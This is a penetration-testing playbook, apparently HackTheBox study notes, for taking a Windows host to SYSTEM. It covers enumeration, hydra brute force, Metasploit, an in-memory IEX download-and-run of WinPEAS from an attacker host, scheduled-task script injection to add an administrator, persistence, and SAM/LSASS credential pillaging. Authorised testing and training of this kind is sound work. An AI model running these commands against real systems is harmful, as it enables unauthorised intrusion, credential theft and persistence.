Objective
Systematically compromise a Windows target by moving through information gathering, initial access, post-exploitation enumeration, privilege escalation, and pillaging to achieve SYSTEM-level access and collect evidence.
Prerequisites
- Scope defined and ROE signed — see Pentesting Fundamentals
- Network scan complete — active host and open ports identified
- Note-taking environment ready — log all commands, timestamps, and outputs
Phase 1 — Windows Information Gathering
Identify Windows-specific services (RDP, SMB) and gather host details. Note software versions visible on web interfaces — unpatched versions may have publicly available CVEs.
Nmap Scan for Windows Services
Windows targets typically expose RDP (3389) and SMB (445). SMBv1 indicates an outdated and likely vulnerable host.
Nmap Commands:
nmap -sV -p- <target-IP> -oA windows-scan
-sV — service and version detection
-p- — scan all ports
-oA — save results in all formats
SMB Enumeration with NetExec
NetExec (successor to the deprecated CrackMapExec) enumerates SMB details, tests for null sessions, and lists accessible shares.
NetExec Commands:
Detect SMB version, hostname, domain
nxc smb <IP>
Test null session, enumerate users
nxc smb <IP> -u '' -p '' --users
Test guest access, list shares
nxc smb <IP> -u guest -p '' --shares
Low Hanging Fruits — Checklist
After the initial Nmap scan, review every service before attempting exploitation:
Quick Wins Checklist:
- SMBv1 enabled? Research EternalBlue (MS17-010) and similar exploits
- RDP on 3389? Check for BlueKeep (CVE-2019-0708) on unpatched systems
- Web interfaces on any port? Check for default credentials and software version at page footers
- MSSQL on 1433? Test for weak credentials or xp_cmdshell
- WinRM on 5985/5986? Test for credential-based access
- Message broker (8161)? Check for default credentials or insecure configuration
Do not fixate on a single service — go through every open port and research unfamiliar services.
Tools
- Nmap
- NetExec
- Windows Remote Management — WinRM (5985/5986), RDP (3389), and WMI details
- rdp-sec-check — enumerate RDP security protocols without authenticating
- evil-winrm — WinRM shell access with valid credentials
Phase 2 — Windows Initial Access
Leverage identified services and credentials to gain a foothold on the target.
SMB Exploitation
SMB is a common entry point, particularly on older systems. Spidering shares with valid or guest credentials can reveal sensitive files and additional access paths.
SMB Access Commands:
nxc smb <IP> -u "john" -p "password" --spider Devs --pattern .
— Spider the Devs share; successful access indicates at least read permissions
nxc smb <IP> -u "john" -p "password" --share Devs --get-file tmp.ps1 tmp.ps1
— Download a specific file from the share
Brute Force (Last Resort)
Only use credential brute force when no other access path is available — it is noisy and likely to trigger alerts.
Brute Force Commands:
RDP brute force
hydra -l <username> -p "<password>" rdp://<IP>
SMB credential spray
hydra -L users.txt -P passwords.txt smb://<IP>
Use any protocol Hydra supports
RDP Access via xfreerdp
Once valid credentials are obtained, use xfreerdp to open a full remote desktop session.
xfreerdp Commands:
xfreerdp /u:<username> /p:"<password>" /v:<IP> /cert:ignore
Domain account:
xfreerdp /u:<username> /d:<DOMAIN> /p:"<password>" /v:<IP> /cert:ignore
Metasploit Exploitation
Use identified CVEs or Metasploit modules against vulnerable Windows services.
Metasploit Commands:
msfconsole -q
search <service/application-name>
use <module-index>
set RHOSTS <target-IP>
set LHOST <attacker-IP>
run
Tools
Phase 3 — Windows System Enumeration
After gaining access, collect detailed information about the target system to identify privilege escalation paths and sensitive data.
Focus Areas
| Category | What to Gather |
|---|---|
| User Privileges | Current user rights and special privileges |
| Group Memberships | Groups the user belongs to (Administrators, RDP, etc.) |
| System Info | OS version, build, installed updates |
| Scheduled Tasks | Tasks running as SYSTEM — check for writable scripts |
| Network Config | Interfaces, open ports, active connections |
| Running Processes | Services, processes, and their associated accounts |
Manual Enumeration Commands
System Enumeration Commands:
Current user privileges
whoami /priv
Current group memberships
whoami /groups
Full system information (OS, architecture, hotfixes)
systeminfo
List installed Windows updates (Quick Fix Engineering)
wmic qfe
Detailed list of all scheduled tasks
schtasks /query /fo LIST /v
Detailed user account information
net user <username>
Check NTFS file and directory permissions
icacls <path>
PSReadline Command History
PowerShell saves a history of commands run by each user — often containing credentials, file paths, or previous attack commands.
PSReadline History Commands:
Get-Content (Get-PSReadLineOption).HistorySavePath
— Read the current user’s PowerShell command history.
If PSReadLine options are unavailable, read directly:
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Check for other users (requires elevated access):
type C:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Look for: credential strings, net use commands with passwords, custom scripts referenced by path, previous enumeration commands that reveal what the user was doing.
Privilege Reference (whoami /priv)
| Privilege | Meaning |
|---|---|
SeChangeNotifyPrivilege | Bypass directory traversal checks |
SeImpersonatePrivilege | Impersonate other users after authentication — high-value escalation vector |
SeIncreaseWorkingSetPrivilege | Increase memory available to a process |
WinPEAS — Automated Enumeration
WinPEAS automates the above collection and highlights privilege escalation vectors for Windows.
WinPEAS Commands:
On attacker machine:
python3 -m http.server 8080
On target (PowerShell — in-memory execution):
powershell "IEX(New-Object Net.WebClient).downloadString('http://<attacker-IP>:8080/winPEAS.ps1')" > winpeas.txt
Tools
Phase 4 — Windows Vulnerability Assessment
Analyze enumeration output to identify privilege escalation and lateral movement opportunities.
Analysis Checklist
Vulnerability Analysis Checklist:
- Unpatched OS? Cross-reference
systeminfobuild number with known CVEs SeImpersonatePrivilegeenabled? Research PrintSpoofer, JuicyPotato, or GodPotato- Scheduled tasks running as SYSTEM with writable scripts? → Script injection
- Stored credentials in files, registry, or environment variables?
- Writable directories in PATH? → DLL hijacking opportunities
- SMBv1 active? → Research EternalBlue (MS17-010) if not already exploited
Scheduled Task Misconfiguration
Tasks that run as SYSTEM but execute scripts in writable locations are a common privilege escalation vector.
Checking Task Permissions:
Verify write access to the scheduled script or its parent directory
icacls <script-path>
Open Task Scheduler GUI (if RDP access available)
taskschd.msc
Note: Windows uses inherited NTFS permissions — child directories can accidentally inherit write permissions from a parent. Even without read access on a file, write access to the parent directory may allow replacing the file.
Phase 5 — Windows Privilege Escalation
Escalate from standard user to Administrator or SYSTEM using identified vectors.
Script Injection (Scheduled Task)
If a scheduled task runs as SYSTEM and executes a writable script, inject commands to escalate privileges.
Script Injection Commands:
Append to the PowerShell script (add current user to Administrators):
Add-LocalGroupMember -Group "Administrators" -Member "WIN01\\john"
Or inject a reverse shell payload and wait for the task to trigger.
Credential Harvesting
WinPEAS and manual enumeration may reveal stored credentials in configuration files, registry keys, or browser storage.
Persistence via Task Hijacking
After escalation, create a new scheduled task to maintain persistent access.
Password Changes
With Administrator access, change account passwords directly:
net user <username> <newpassword>
Post-Escalation Enumeration
After gaining elevated access, re-run WinPEAS and manual enumeration with the new privileges.
Post-Escalation Commands:
Count active firewall rules:
netsh advfirewall firewall show rule status=enabled name=all | find /c "Rule Name"
Re-run WinPEAS from the Administrator context for additional findings.
Phase 6 — Windows Pillaging
Extract sensitive information from the elevated-privilege context for lateral movement, data exfiltration, or reporting evidence.
What to Look For
- Credentials stored in files, browser profiles, or credential manager
- SAM database dump (hashed local account passwords)
- LSASS memory for active session credentials (with Meterpreter/Mimikatz)
- Sensitive documents accessible with elevated permissions
- Network shares with sensitive data
- Domain controller access path if the target is domain-joined
winpill.ps1 (HTB Companion Script)
An HTB-provided Windows pillaging script. Execute as Administrator for full results.
winpill Commands:
Start-Process powershell.exe -Verb RunAs -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File C:\\winpill.ps1"
Script: winpill.ps1 — available from HackTheBox resources
File Transfer via SCP
If SSH is configured on the Windows target, SCP can be used for file transfer.
SCP Transfer:
scp <username>@<target-IP>:<remote-path> <local-path>
Tools
Related Techniques
Related Playbooks
Related Tools
References / Images
- GTFOBins (Windows binaries): https://gtfobins.github.io/
- PEASS-ng: https://github.com/peass-ng/PEASS-ng
- EternalBlue/MS17-010 — research via Metasploit:
search ms17-010